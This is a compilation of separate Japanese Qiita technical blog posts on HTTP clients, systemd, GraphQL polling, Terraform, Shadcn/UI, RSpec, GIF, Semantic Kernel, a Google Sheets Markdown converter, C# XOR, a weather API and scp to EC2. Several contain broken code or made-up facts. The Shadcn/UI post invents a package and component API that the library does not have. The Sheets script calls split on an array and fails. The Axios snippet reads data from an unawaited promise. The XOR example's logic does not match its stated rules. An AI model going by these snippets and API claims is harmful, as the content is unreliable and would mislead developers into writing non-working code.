OmniAICreator/Qiita-1.07M huggingface dataset:
axiosやfetchに替わるKyのススメ

### Kyとは

**Ky**は、Sindre Sorhusが開発したJavaScript向けの軽量かつ多機能なHTTPクライアントです。ネーミングの意図はよくわかりませんが、AxiosやネイティブのFetch APIに代わる、より効率的で使いやすい選択肢として設計されています。

https://github.com/sindresorhus/ky

## Kyの利点

1. **軽量で効率的**: Kyのコアは非常に小さく（約2 KB）、パフォーマンスが重要なアプリケーションにとっては特に大きなメリットとなります。
2. **Promiseベース**: Fetch APIと同様に、KyはPromiseを基盤としており、async/await構文との組み合わせが容易です。
3. **シンプルなAPI**: Kyが提供するAPIは非常にシンプルなので、学習コストが抑えられます。
4. **再試行機能**: Kyには、失敗したリクエストの再試行する機能が組み込まれており、エラーハンドリングの実装コストを減らします。
5. **JSON処理**: Kyは自動的にJSONリクエストとレスポンスを処理しするので別途変換ロジックを実装する必要はありません。
6. **拡張機能**: プラグインを利用して機能を拡張でき、膨れ上がることなくカスタマイズが可能です。

## AxiosおよびFetch APIとの比較

### サイズとパフォーマンス

- **Ky**: KyはAxiosよりもかなり小さく（約半分）、バンドルサイズや読み込み時間に対する影響が少ないので、パフォーマンスが重要なアプリケーションにより適しています。
- **Axios**: Axiosは多機能ですが、Kyと比較してサイズが大きくなります。多くの組み込み機能を提供しますが、その分バンドルサイズが増加します。
- **Fetch API**: ネイティブのブラウザAPIであるFetchはバンドルサイズに影響を与えません。しかし、古いブラウザにはポリフィルが必要であり、その場合はバンドルサイズが増加してしまう可能性があります。

### APIのシンプルさ

- **Ky**: KyのAPIはシンプルで直感的です。例えば、POSTリクエストを行うのは非常に簡単です。
  ```ts
  import ky from 'ky';
  const response = await ky.post('https://api.example.com/post', {
    json: { todo }
  }).json<Todo>();
  ```
- **Axios**: AxiosもKyと同様にシンプルなAPIを提供します。AxiosでのPOSTリクエストは以下のようになります。
  ```ts
  import axios from 'axios';
  const response = await axios.post<Todo>('https://api.example.com/post',
    { todo }
  ).data
  ```
- **Fetch API**: Fetchはやや冗長で、一般的なタスクに対してより多くの実装が必要です。FetchでのPOSTリクエストは以下のようになります。
  ```ts
  const response = await fetch('https://api.example.com/post',{
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({todo})
  });
  if (!response.ok) throw response
  const data = await response.json();
  ```
### JSON処理
- **Ky**: KyはJSONリクエストとレスポンスを自動的に処理し、手動での解析の必要性を減らします。
- **Axios**: AxiosもKyと同様に自動的なJSON処理を提供します。
- **Fetch API**: Fetchでは、JSONレスポンスを手動で解析する必要があり、実装や保守コストが増加します。

### エラーハンドリングと再試行
- **Ky**: Kyには再試行機能があり、簡単に設定できます。これにより、カスタムの再試行ロジックの必要性が減ります。
  ```js
  import ky from 'ky';
  const response = await ky.get('https://api.example.com/data', { retry: 3 }).json();
  ```
- **Axios**: Axiosには組み込みの再試行ロジックはありませんが、[プラグイン](https://github.com/softonic/axios-retry)やカスタムコードを使用して追加できます。
- **Fetch API**: Fetchには組み込みの再試行機能がなく、再試行とエラーハンドリングには追加で実装が必要です。

### 拡張性
- **Ky**: Kyはプラグインを使用して拡張でき、コアのサイズを増やすことなく機能を追加できます。
- **Axios**: Axiosはインターセプターや他のプラグインを使用しての拡張性が非常に高いです。
- **Fetch API**: Fetchはミドルウェアのようなパターンを使用して拡張できますが、KyやAxiosに比べてより多くの追加実装が必要です。

## まとめ
Kyは、JavaScriptアプリケーションでHTTPリクエストを行うための強力な代替手段ということがおわかりいただけたかと思います。その軽量な性質、シンプルなAPI、自動JSON処理や再試行機能などが、効率と使いやすさを求める開発者にとって魅力的なパッケージだと思います。Axiosは依然として強力なパッケージであり、Fetchはネイティブソリューションという利点を提供しますが、Kyは最小限のオーバーヘッドで基本機能を提供することで三者三様の相関となっています。

## 参考
https://github.com/sindresorhus/ky

https://axios-http.com/ja/

https://developer.mozilla.org/ja/docs/Web/API/Fetch_API
AWS EC2 の Systemd にアプリケーションをデプロイさせる

# きっかけ
AWS EC2へのアプリケーションの自動デプロイについて調査しているとき、Systemdに触れる機会があったため改めてアウトプットします。

# Systemd とは

Unix系のOSで動くプログラムの元となるプログラムのこと。
読み方は「システムディー」
initプロセスとも呼び、PID（プロセスID）が1のプロセスとして起動する。
OSが起動すると一番最初に実行される。

# なぜアプリケーションの実行にSystemdを使うのか

initプロセスとして使われるのはSystemdしか無いというわけではありませんが、現在Systemdはほとんどのディストリビューションで使われているそうです。

Systemdではあらかじめ用意した設定ファイルを元にしてシステムを構築します。
そのため、そこにアプリケーションのデプロイも設定しておけば自動デプロイが実現するわけですが、その際にどのような恩恵を受けられるのでしょうか。

Systemdを使うメリットは

- システムが何かしらの理由で停止しまった際に自動で再実行してくれる
- アプリケーションが出力したログを勝手に管理してくれる

などがあるとのことです。

イメージとしてはOSが、私が用意したアプリケーションを我が子のように面倒を見てくれるようになるということでしょうか。例えるなら、託児所に我が子を預ける（その場合はSystemdが託児所）みたいな。

# 方法

### 前提

AWS EC2のインスタンスを用意して、そこに`sample-app`というnode環境で動くアプリケーションをデプロイさせる想定で進めます。
EC2のOSイメージは、LinuxOSを使うためUbuntuを選択します。

EC2にSSH接続し、あらかじめ`sample-app`の`index.js`をEC2のホームディレクトリに置いておきます。

### 準備

方法はシンプルで、設定ファイルを一つ用意してあげるだけです。
`/etc/systemd/system/`配下にSystemdの設定ファイルが詰め込まれているのでここに追加します。
そのため設定ファイルのパスは、`/etc/systemd/system/sample-app.service`のようになります。

~~~
[Unit]
Description=Express

[Service]
ExecStart=/usr/bin/node index.js
WorkingDirectory=/home/ubuntu
Restart=always
Environment=NODE_ENV=production PORT=80

[Install]
WantedBy=multi-user.target
~~~

重要な部分のみ簡単に説明します。

- `ExecStart`
Systemdに実行してもらうコマンドを指定
- `WorkingDirectory`
実行するディレクトリ
- `Environment`
環境変数（ポート番号など）

### 実行

1. systemdの設定ファイル再読み込み
    ~~~
    $ sudo systemctl daemon-reload
    ~~~
    　

2. アプリケーション実行
    ~~~
    $ sudo systemctl start sample-app
    ~~~
    　

3. 実行状況を確認
    ~~~
    systemstl status sample-app
    ~~~
    `Avtive:`が`active`になっていれば成功です。
    　

4. Systemdが実行したシステムのログを確認
    ~~~
    journalctl -u backend
    ~~~

以上でデプロイ完了です。
EC2インスタンスのパブリックIPv4アドレスにhttpでアクセスすると、アプリケーションがブラウザ上で動きます。

# 感想

「システムD」っていう名前の響きがかっこいい。

# 参考
こちらのUdemy講座の「セクション6: AWS の EC2 の環境構築と手動でのデプロイ」を参考にしました。

https://www.udemy.com/course/cicd-with-github-actions/?couponCode=ST3MT72524
【GraphQL】ポーリングの実装

GraphQLのポーリング
---
クライアントが定期的にサーバーにクエリを送信し、最新のデータを取得する方法です。
これは特に、サーバーからのデータ更新をリアルタイムで反映させたい場合に有効です。

メリット
---
`リアルタイム性`: データの変更をリアルタイムに反映することができる。
`シンプルな実装`: 実装が比較的簡単で、多くのライブラリやフレームワークがサポートしている。

デメリット
---
`リソースの消費`: 頻繁なリクエストにより、サーバーおよびネットワークリソースが消費される。
`遅延`: ポーリング間隔による遅延が発生する可能性がある。

``` .Apollo Clientのセットアップ
npm install @apollo/client graphql
```

``` .クエリの定義
import { gql } from '@apollo/client';

const GET_DATA = gql`
  query GetData {
    data {
      id
      value
    }
  }
`;
```

``` .ポーリングの実装
import React from 'react';
import { useQuery } from '@apollo/client';
import { GET_DATA } from './queries';

const DataComponent = () => {
  const { loading, error, data, startPolling, stopPolling } = useQuery(GET_DATA, {
    pollInterval: 5000, // 5秒ごとにポーリング
  });

  if (loading) return <p>Loading...</p>;
  if (error) return <p>Error :(</p>;

  return (
    <div>
      {data.data.map(({ id, value }) => (
        <div key={id}>
          <p>{id}: {value}</p>
        </div>
      ))}
    </div>
  );
};

export default DataComponent;
```
pollIntervalプロパティを設定することで、指定した間隔（この場合は5秒）でサーバーにクエリを送信し、データを更新します。

`startPolling`:ポーリングを手動で開始するための関数です。引数としてポーリング間隔（ミリ秒）を指定します。この関数を呼び出すと、指定した間隔でサーバーにクエリを送信し続けます。

`stopPolling`:現在のポーリングを停止するための関数です。これを呼び出すことで、ポーリングを停止し、サーバーへの定期的なリクエストを止めることができます。

ポーリングの最適化
---
`間隔の調整`: ポーリング間隔を適切に設定することで、リソースの消費を抑えつつ、リアルタイム性を維持できます。
`条件付きポーリング`: 必要な場合にのみポーリングを行うようにし、無駄なリクエストを減らします。
`WebSocketやSubscriptionの利用`: ポーリングの代替として、サーバーからのプッシュ通知を利用することも考えられます。
Apollo ClientはGraphQL Subscriptionsをサポートしており、これによりリアルタイムデータの取得が可能です。


まとめ
---
GraphQLのポーリングは、リアルタイム性を持つデータ更新を簡単に実装できる方法です。ただし、サーバーやネットワークのリソース消費に注意し、必要に応じてWebSocketやSubscriptionsの利用を検討することが重要です。
メールをSES→S3に保存する(terraform)

### SESからS3にメールを保存したい
メールの処理で大きいファイルなどを扱うとき、SNSを使っているとキャパシティーをオーバーしてしまいます。

#### SES+SNS構成
構成としては以下になります。
SESでEメールを受信できるようにし、メールを送信します。
SESのアクションとしてSNSトピックへの発行を行います。
SNSからは処理用のLambdaへ通知をして処理を行います。
しかし、メールの容量が150KBを超えてしまうとそもそもLabmdaに通知されず、処理もできません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2884542/993e82dc-c287-3c58-a611-993f2385dead.png)

#### SES+S3(SNS)構成
そこでS3を使用した構成に変更を行います。
S3を使用すると、150KBを超えるような大きいメールを受信することが可能になります。
[公式のページ: S3バケットアクションへの配信](https://docs.aws.amazon.com/ja_jp/ses/latest/dg/receiving-email-action-s3.html)

構成は以下の通りです。
先ほどと違う点は受信したメールをS3へ配信するというところです。
SESのアクションとして「S3へ配信」+「SNSへ通知」の様にできるのでこちらを使用します。
SNS→Lambdaの流れは同じです。
Lambdaに通知された内容にはS3のバケット情報、オブジェクトのキー情報が含まれているのでこれらの情報からS3へメールを取得しに行くという形になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2884542/371e44a0-08f3-067d-6ed4-e3aca6b70a9e.png)

#### terraformで作成
- S3を作成
まずはSESからS3に配信するためのS3バケットを作成します。
有効期限は7日間とします。

```
resource "aws_s3_bucket" "mailbox" {
  bucket = "mailBacket"
}

resource "aws_s3_bucket_lifecycle_configuration" "mailbox" {
  bucket = aws_s3_bucket.mailbox.id
  rule {
    id = "mailbox"

    expiration {
      days = 7
    }

    status = "Enabled"
  }
}
```

- SNSを作成
オプションとして通知するためにSNSを作成します。
SNSからのエンドポイントにはメールを処理するLambdaを指定します。

```
resource "aws_sns_topic" "mail_notification" {
  name = "mail-notification"
}

resource "aws_sns_topic_subscription" "notification_mail" {
  topic_arn = aws_sns_topic.mail_notification.arn
  protocol  = "lambda"
  endpoint  = aws_lambda_function.mail_recv.arn
}
```

- SESを作成
`aws_ses_receipt_rule_set`でルールセットを作成し、`aws_ses_active_receipt_rule_set`で有効化します。

`aws_ses_receipt_rule`の受信ルールでは`s3_action`を使ってS3バケットにメール内容を配信できるようにします。
`topic_arn`にSNSを指定することでオプションとして通知を送ることができます。

```
resource "aws_ses_receipt_rule_set" "main" {
  rule_set_name = var.ses_rule_set_name
}

resource "aws_ses_receipt_rule" "main" {
  name          = "mailnotify-ses"
  rule_set_name = var.ses_rule_set_name
  recipients    = ["${var.recipient_name_prefix}@${var.email_domain}"]
  enabled       = true
  scan_enabled  = true

  s3_action {
    bucket_name = "${aws_s3_bucket.mailbox.id}"
    topic_arn   = aws_sns_topic.mail_notification.arn
    position    = 1
  }
}

resource "aws_ses_active_receipt_rule_set" "main" {
  rule_set_name = "${aws_ses_receipt_rule_set.main.rule_set_name}"
}
```
【Shadcn/UI】初心者必見！ゼロから学べる実践入門

Shadcn/UIとは
---
Shadcn/UIは、ReactアプリケーションのUIを迅速に構築するためのライブラリです。
シンプルでカスタマイズしやすいコンポーネントが揃っており、モダンなデザインを実現します。
https://ui.shadcn.com/

インストールとセットアップ
---
```
npm install shadcn-ui
```
コンポーネントをReactアプリケーションにインポートし、セットアップします。
```
import { Button, Card, Typography } from 'shadcn-ui';

function App() {
  return (
    <div>
      <Typography variant="h1">Hello, Shadcn/UI!</Typography>
      <Button onClick={() => alert('Clicked!')}>Click Me</Button>
      <Card>
        <Typography variant="body1">This is a card component.</Typography>
      </Card>
    </div>
  );
}

export default App;
```

主なコンポーネント
---
``` .Button
<Button color="primary" size="large">Primary Button</Button>
<Button color="secondary" size="small">Secondary Button</Button>
```

``` .Card
<Card>
  <Typography variant="h2">Card Title</Typography>
  <Typography variant="body2">Card content goes here.</Typography>
</Card>
```

``` .Typography
<Typography variant="h1">Heading 1</Typography>
<Typography variant="body1">Body text</Typography>
```

カスタマイズとテーマ
---
テーマやスタイルを簡単にカスタマイズできます。以下のように、テーマを設定してアプリケーション全体のスタイルを変更できます。
```
import { ThemeProvider, createTheme } from 'shadcn-ui';

const theme = createTheme({
  colors: {
    primary: '#007bff',
    secondary: '#6c757d',
  },
});

function App() {
  return (
    <ThemeProvider theme={theme}>
      {/* UIコンポーネント */}
    </ThemeProvider>
  );
}
```

まとめ
---
Shadcn/UIは、ReactアプリケーションのUIを効率よくデザインするための強力なツールです。シンプルなインターフェースとカスタマイズの柔軟性が特徴で、開発者にとって非常に便利なライブラリです。
RSpecテストにおける build と create の使い分け

# はじめに
RSpecでテストを書く際、FactoryBotを使用してテストデータを生成することが一般的です。その際、`build` と `create` という2つのメソッドがよく使われますが、これらの使い分けは重要です。本記事では、これらのメソッドの違いと適切な使用場面について解説します。

# `build` と `create` の基本的な違い
## build

- メモリ上にオブジェクトを作成するが、データベースには保存しない
- 処理が高速
- データベースに影響を与えない

## create

- オブジェクトを作成し、データベースに保存する
- `build` より処理が遅い
- データベースに実際にレコードが作成される

## 使い分けの指針

### buildを使用する場合

1. モデルの単純なバリデーションをテストする場合
2. データベースへの保存が不要なテストの場合
3. テストの実行速度を重視する場合

例：
```ruby
RSpec.describe User, type: :model do
  let(:user) { build(:user) }

  it "有効なユーザーであること" do
    expect(user).to be_valid
  end

  it "名前がない場合は無効であること" do
    user.name = nil
    expect(user).to be_invalid
  end
end
```

### createを使用する場合

1. データベースレベルの制約（一意性など）をテストする場合
2. 関連するモデルとの相互作用をテストする場合
3. データベースに保存された後の挙動をテストする場合
4. type: :request のテストなど、実際のアプリケーション動作に近い環境でテストする場合

例：
```ruby
RSpec.describe "Users", type: :request do
  let(:user) { create(:user) }

  it "ユーザー情報を取得できること" do
    get user_path(user)
    expect(response).to have_http_status(:success)
  end
end
```

## テストタイプ別の推奨使用方法

1. Model Spec (type: :model)

    * 主に build を使用
    * データベースレベルの制約をテストする場合は create を使用


2. Request Spec (type: :request)

    * 主に create を使用
    * 実際のHTTPリクエストをシミュレートするため、データベースにデータが存在する状態が望ましい


3. Controller Spec (type: :controller)

    * 状況に応じて build と create を使い分ける
    * データベースとの相互作用が必要な場合は create を使用


4. View Spec (type: :view)

    * 主に build を使用
    * ビューのレンダリングのみをテストする場合はデータベースへの保存は不要

# まとめ
`build` と `create` の適切な使い分けは、テストの目的、対象となる機能、パフォーマンスの要件などを考慮することが必要だと思います。
Xとかでよく見る形式、GIFって何？

## はじめに
Xで何か投稿する時、今までスマホ内にある写真を選択する機会はよくありましたが、GIFを利用したことはないな。とふと思い出しました。
そもそもGIFというものが何かわかっていません。なので、今回はGIFについて調べてみたことをアウトプットしていこうかと思います

## GIFとは？
GIFの事を「ギフ」と発音していましたが、実際は「ジフ」:open_mouth:
Graphics Interchange Formatの略になります。
ラスター画像[^1]に分類され、可逆圧縮方式ですが、画像はピクセルあたり8ビット、パレットは256色に制限されています。

GIFファイル形式は、アニメーション画像に使われるのが一般的です。
理由として「8ビット」という制限によりアニメーションのファイルサイズを小さく保つことができ、使用しやすいことが挙げられます。

利点、欠点等を下記にまとめます

|  | GIF |
| - | - |
| 利点 | ・短いアニメーションが可能で、視覚的に情報を伝えやすい<br>・ファイルサイズが比較的小さく、ウェブ上での読み込みが早い<br>・簡単に作成・共有できるため、手軽にコミュニケーションに使える |
| 欠点 | ・色数が256色までなので、色の表現力が制限される<br>・動画に比べて画質が劣る場合がある<br>・大きなGIFはファイルサイズが大きくなることがある |
| 最適な利用方法 | ・短い動きや反復するアニメーションに最適<br>・情報を簡潔に伝えたい時や、感情を表現する際に有効<br>・ソーシャルメディアでのコミュニケーションでの利用 |

## GIFがツイッターなどの画像投稿の一つとして採用されている理由
- 視覚的なインパクト: GIFは動きを持つため、静止画よりも目を引きやすいから
- 感情表現: ユーザーが感情を瞬時に伝えるのに便利だから
- 簡単な共有: 短いアニメーションを手軽に作成・共有できるため、SNSでのコミュニケーションに適しているから


## さいごに
256色でも多いと感じますが、欠点に分類されるのが個人的には驚きました。しかしもう少し調べてみると32ビットカラーは透明度を含め42億色だというので、256色が欠点といえるのも少し納得:crayon:
今回の記事をきっかけにGIFがどのようなものなのか理解していただけたなら幸いです:relaxed:


[^1]: ウェブで最も広く使用されている画像ファイル形式であり、JPEG、GIF、PNGなどが該当します。
ラスター画像は、各ピクセルが解像度（例：1280 x 720）に基づいて定義された色、位置、比率を持つ静的画像です。
静的であることから、画像のサイズを効率的に変更することができず、拡大すると元のデザインやピクセルはスペースを埋めるために引き伸ばされます。その結果、画像はぼやけたり、ギザギザになったり、歪んだりすることになります。
# Semantic Kernel概覧

Semantic Kernel機能の使用、およびバージョン機能の安定に伴い、SKの機能を整理する時が来ました。本シリーズの記事ではC#を主な例として使用し、「概念の説明が明解で、サンプルコードが簡潔であること」を目指します。

　簡単にするために、以降Semantic KernelはSKと略します。

![画像](https://mmbiz.qpic.cn/sz_mmbiz_png/4CAA63nvHRC2ibcBlMngs6ByoblZZA1KmOdfAo2kw5hZ81Q8mjBNw3StuWfrzeeSggAs9cEffXxBv9cWd8ljhibw/640?wx_fmt=png&from=appmsg)

　SKはソフトウェア開発キット（SDK）で、OpenAI、Azure OpenAI、Hugging Faceなどの大規模言語モデル（LLM）と、C#、Python、Javaなどの従来のプログラミング言語を統合します。SKはプラグインを定義し、これらのプラグインを数行のコードで連携させることができます。

　しかし、SKの特異性は、これらのプラグインを人工知能（AI）で自動的に調整できる点です。SKのプランナーを使用して、ユーザーの特定の目標を達成する計画を大規模言語モデルに生成させることができます。その後、Semantic Kernelがユーザーのためにその計画を実行します。

　SKについての感想はまず、SKがPython、C#、Javaの三つの言語をサポートしていることです。各言語のSDKのリリースには時間差がありますが、機能は基本的に一致しており、同じソリューションで異なるプロジェクトに対し一貫したAPIを提供します。また、ログ収集や監視指標などの基盤インフラを共有することができるのも利点の一つです。

　さらに、SKはLLMに依存しません。現在、SKは主流のLLMをサポートしており、一部はまだサポートと改善の途中です。LLMとSKが安定し成熟するにつれ、SKはLLM間の使用差異をうまく補正し、開発効率を向上させ、LLMの切り替えの柔軟性を向上させることで、LLM集約ゲートウェイの基盤を提供できると確信しています。

【SmartFill】は私が開発したChromeのプラグイン式スマート入力ツールです。ぜひお試しください: https://tinyurl.com/222ajrfd

(Translated by GPT)
https://mp.weixin.qq.com/s?__biz=MzA3NDM1MzIyMQ==&mid=2247488174&idx=1&sn=c436e3461f43ae44d53fcfa629cde9d0&chksm=9f004d84a877c4920a04a1508c1ba2d459ef6b2d8eb112c448a18ecf6e8b212add143cdc8e27&token=1614195268&lang=zh_CN#rd
GoogleスプレッドシートでMarkdownテーブルを変換する方法

# GoogleスプレッドシートでMarkdownテーブルを変換する方法

## はじめに

生成AIを使っているとMarkdownテーブルが出力されてくる場合があります。その内容をスプレッドシートにして活用する。note.comのようにMarkdownテーブルのサポートがないところにブログ記事を投稿する場合に、スプレッドシートでレンダリングして画像として貼り付ける。このような作業が増えました。

この記事ではGoogleスプレッドシートでMarkdownテーブルを簡単に変換できる方法を紹介します。この方法を使えば、Markdownで書かれたテーブルを素早くスプレッドシート形式に変換できます。

## 実装手順

### 1. Googleスプレッドシートの準備

1. 新規スプレッドシートを作成するか、既存のものを開きます
2. メニューから「拡張機能」→「Apps Script」を選択し、スクリプトエディタを開きます

### 2. コードの実装

スクリプトエディタに以下の関数を追加します：

```javascript
function onOpen() {
  SpreadsheetApp.getUi()
    .createMenu('Markdown変換')
    .addItem('Markdownテーブルを変換', 'convertMarkdownTable')
    .addToUi();
}

function convertMarkdownTable() {
  const sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
  const markdownText = sheet.getRange('A1').getValue();
  
  if (!markdownText) {
    SpreadsheetApp.getUi().alert('A1セルにMarkdownテーブルを入力してください。');
    return;
  }

  const newSheet = SpreadsheetApp.getActiveSpreadsheet().insertSheet('変換結果_' + new Date().toLocaleString());
  importMarkdownTable(markdownText, newSheet);
}

function importMarkdownTable(markdownTable, sheet) {
  const parsedTable = parseMarkdownTable(markdownTable);
  
  sheet.getRange(1, 1, 1, parsedTable.headers.length).setValues([parsedTable.headers]);
  sheet.getRange(2, 1, parsedTable.data.length, parsedTable.headers.length).setValues(parsedTable.data);
  
  parsedTable.alignments.forEach((alignment, index) => {
    const column = sheet.getRange(1, index + 1, sheet.getLastRow(), 1);
    switch(alignment) {
      case 'center':
        column.setHorizontalAlignment('center');
        break;
      case 'right':
        column.setHorizontalAlignment('right');
        break;
      default:
        column.setHorizontalAlignment('left');
    }
  });
  
  sheet.getRange(1, 1, 1, parsedTable.headers.length).setFontWeight('bold');
}

function parseMarkdownTable(markdownTable) {
  const rows = markdownTable.trim().split('\n');
  const headerRow = rows.split('|').map(cell => cell.trim());
  const alignmentRow = rows[1].split('|').map(cell => cell.trim());
  const dataRows = rows.slice(2).map(row => row.split('|').map(cell => cell.trim()));

  const alignments = alignmentRow.map(cell => {
    if (cell.startsWith(':') && cell.endsWith(':')) return 'center';
    if (cell.endsWith(':')) return 'right';
    return 'left';
  });

  return {
    headers: headerRow,
    alignments: alignments,
    data: dataRows
  };
}
```

### 3. スプレッドシートの設定

1. A1セルを選択し、サイズを大きく拡大します
2. A1セルに「ここにMarkdownテーブルをペーストしてください」と入力します

## 使用方法

1. A1セルにMarkdownテーブルをペーストします
2. 「Markdown変換」メニューから「Markdownテーブルを変換」を選択します
3. 新しいシートが作成され、変換されたテーブルが表示されます

## 注意点

- 大きなテーブルの場合、処理に時間のかかる可能性があります
- エラーが発生した場合は、スクリプトエディタのログを確認してください
- 複雑な書式や特殊なケースには対応していない可能性があります
## まとめ

この方法を使えば、GoogleスプレッドシートでMarkdownテーブルを簡単に変換できます。必要に応じてカスタマイズを加え、より使いやすいツールにしていくことができるでしょう。

---

この記事は、Perplexity AI（バージョン: 2024-07-25）を使用して生成し、人間が編集しました。
C#で排他的論理和（XOR）演算子のコードってどう書くの？

### C#でXOR演算を使用して数学と英語の点数に基づいて判定するサンプルコードを示す.

以下のコードはC#で書いている.

条件：
数学(math)と英語(English)両方の点数が、
80点以上なら「hight」
数学(math)と英語(English)いずれかの点数が、
60点以上、80点未満なら「middle」
数学(math)と英語(English)いずれの点数も、
60点未満なら「row」
```c#
using System;

class Program
{
    static void Main()
    {
        int math = 85; // 数学の点数
        int english = 75; // 英語の点数
        
        string result = EvaluateScores(math, english);
        Console.WriteLine(result);
    }

    static string EvaluateScores(int math, int english)
    {
        // 80点以上の場合は "high"
        if (math >= 80 && english >= 80)
        {
            return "high";
        }
        
        // 60点以上80点未満の場合は "middle"
        if ((math >= 60 && math < 80) ^ (english >= 60 && english < 80))
        {
            return "middle";
        }

        // それ以外の場合は "row"
        return "row";
    }
}

```

排他的論理和（XOR）を表す演算子が「^」ということを初めて知った.

WEB開発の文脈における排他的論理和(XOR)演算のユースケース.

ユーザーの入力バリデーションで使える.

```c#
using System;

class Program
{
    static void Main()
    {
        Console.WriteLine("オプション1を選択する場合は 'y' を、選択しない場合は 'n' を入力してください:");
        bool option1 = Console.ReadLine().ToLower() == "y";

        Console.WriteLine("オプション2を選択する場合は 'y' を、選択しない場合は 'n' を入力してください:");
        bool option2 = Console.ReadLine().ToLower() == "y";

        if (ValidateOptions(option1, option2))
        {
            Console.WriteLine("正しい選択です。いずれか一方のオプションが選択されました。");
        }
        else
        {
            Console.WriteLine("無効な選択です。いずれか一方のオプションを選択してください。");
        }
    }

    static bool ValidateOptions(bool option1, bool option2)
    {
        // 排他的論理和（XOR）を使用して、いずれか一方のみが選択されているかを確認
        return option1 ^ option2;
    }
}

```

JavaScriptで書くとこうなる. フロント側のバリデーションで使えそう.
```javascript
function validateForm() {
    let option1 = document.getElementById('option1').checked;
    let option2 = document.getElementById('option2').checked;

    if (option1 ^ option2) {
        return true; // 正しい選択
    } else {
        alert('いずれか一方を選択してください。');
        return false;
    }
}

```
Google App Script(GAS)を使ってopenweathermapAPI 3.0で特定の日付の天気予報を取得する。

LINEに旅行当日の目的地の天気と今日の現在地の天気を伝えるメッセージを送るアプリケーションを作成している。

その過程で、OPEN WEATHER MAP APIというものを使って天気を取得するのだが、そのバージョン3.0についてのスクリプトがネット上にあまりなかったので一例を載っける。

バージョン2.5も無料であるが、3.0も一日に1000回までのリクエストなら無料である。したがって、多くの人にとって使いやすいAPIの一つであろう。

https://openweathermap.org/api

中身は至ってシンプルで地域の名前と日付の引数を持たせて、getWeatherMessageを動かすと、天気や、最低気温、最高気温を配列形式で
返してくれるものである。

私自身は、日付をどうしても指定してデータを取りたかったので、引数に渡したらそれをyyyy-mm-ddの形式に変換するための関数にdataを渡し、また天気がjsonのデータ内になかったので雲の支配率と降雨量から天気を簡単に出すという判別も行っている。そして、地名ではデータが取ってこれないので地名から経度と緯度を割り出す関数も用意している。

この経度と緯度割り出す段階で日本語でもほとんど成功するのだがスクリプトの変更をするとたまにエラーが発生するのでローマ字でregionを送ることをおすすめする。

そして、APIの取得するURL内で関数を呼び出して実行するスクリプトを書いているが、重複する処理をしているため無駄な演算が生じている可能性がある。
やはり、重複する演算を生じさせないために呼び出す前にletなどでその情報を定義しておくほうが良いのだろうか？

有識者の方がいたら教えてほしい。
それでは以上。

```
const OPEN_WEATHER_MAP_API_KEY = "OPEN_WEATHER_MAP_API_KEY";

function main() {
    let region = "Sapporo";
    let date = new Date();
    console.log(getWeatherMessage(region, date)):
};


function getWeatherMessage(region, date) {
  var response = UrlFetchApp.fetch(`https://api.openweathermap.org/data/3.0/onecall/day_summary?lat=${getGeocode(region)[0]}&lon=${getGeocode(region)[1]}&date=${formatDate(date)}&appid=${OPEN_WEATHER_MAP_API_KEY}&units=metric&lang=ja`);
  var weatherData = JSON.parse(response.getContentText());
  var cloud_cover = weatherData.cloud_cover.afternoon;

  return [judgeWeather(cloud_cover, weatherData.precipitation.total), `${Math.round(weatherData.temperature.min)}℃`, `${Math.round(weatherData.temperature.max)}℃`]
}

//地名を経度、緯度へ変換
function getGeocode(address) {
  var response = Maps.newGeocoder().geocode(address);

  // 結果の確認
  if (response.status == 'OK') {
    var result = response.results[0];
    var latitude = result.geometry.location.lat;
    var longitude = result.geometry.location.lng;
    return [latitude, longitude];
  } else {
    return [null, null];
  }
}
 //dateのフォーマットを変換
function formatDate(date) {
  const year = date.getFullYear();
  const month = ('0' + (date.getMonth() + 1)).slice(-2);
  const day = ('0' + date.getDate()).slice(-2);
  return `${year}-${month}-${day}`;
 
}

 //天気を判別
function judgeWeather(cloudCover, precipitationTotal){
  if(precipitationTotal > 5.0){
    return "雨";
  }else if(cloudCover > 80){
    return "曇り";
  }else {
    return "晴れ"
  }
}


```
ローカルからEC2へファイルをアップロードする方法

よくあるローカルからEC2へファイルをアップロードしたい。そんな時によく使われる方法です。

まずはファイルの配置場所とコピーの宛先のEC2のキーペアの配置場所を確認しておきます。
今回の記事は分かりやすくデスクトップに置いていると想定しています。

ファイルをEC2にコピーする場合はscpコマンドを使用します。
```
sh-3.2# scp -i <キーペアファイル名>.pem sample01.txt ec2-user@<パブリックIPアドレス>:/home/ec2-user/
```
成功するとファイル名が表示されます。
```
sample01.txt                                  100%  796    75.5KB/s   00:00
```
もしもNo such file or directoryが出る場合はファイルパスが間違っている可能性があります。
ユーザーがデスクトップにいる場合は絶対パスを必要はありません。ファイル名だけでOKです。

現在いるディレクトリがデスクトップにいない場合は下記のように指定する必要があります。
```
sh-3.2# scp -i /Users/username/Desktop/TEST.pem /Users/username/Desktop/sample01.txt ec2-user@××.××.××.××:/home/ec2-user/
```

それではSSH接続してみてファイルがコピーされているか確認しましょう。
```
ssh -i /Users/username/Desktop/<キーペアファイル名>.pem ec2-user@<パブリックIPアドレス>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1828177/a9fb5bfd-baf3-0109-4ba0-ea57d3f5b3fd.png)

findコマンドを使って.txtに絞ってみましょう。最後の行に先ほどのsample01.txtが存在しているのが確認できます。
```
[ec2-user@ip-××-××-××-×× ~]$ find ./ -name "*.txt" -type f
```
```
./.cache/Homebrew/api/formula_names.before.txt
./.cache/Homebrew/api/cask_names.before.txt
./.cache/Homebrew/api/formula_aliases.txt
./.cache/Homebrew/api/formula_names.txt
./.cache/Homebrew/api/cask_names.txt
./.cache/Homebrew/all_commands_list.txt
./.cache/Homebrew/external_commands_list.txt
./data.txt
./sample01.txt
```
そもそもEC2に接続できない問題が発生すれば下記のドキュメントを参考にしてみてください。

https://zenn.dev/0103tomita/articles/eb2880336e8639


https://repost.aws/ja/knowledge-center/ec2-linux-fix-permission-denied-errors

## EC2からローカルへダウンロードする方法

ローカルで実行します。
```
sh-3.2# scp -i /Users/username/Desktop/<キーペアファイル名>.pem ec2-user@<パブリックIPアドレス>:/home/ec2-user/sample01.txt /Users/username/Desktop/
```
scp -i <キーペアファイル名>.pem <ユーザー名>@[パブリックIP]アドレス:<EC2に置いているファイルパス> <ファイルを落とすローカルのディレクトリパス>

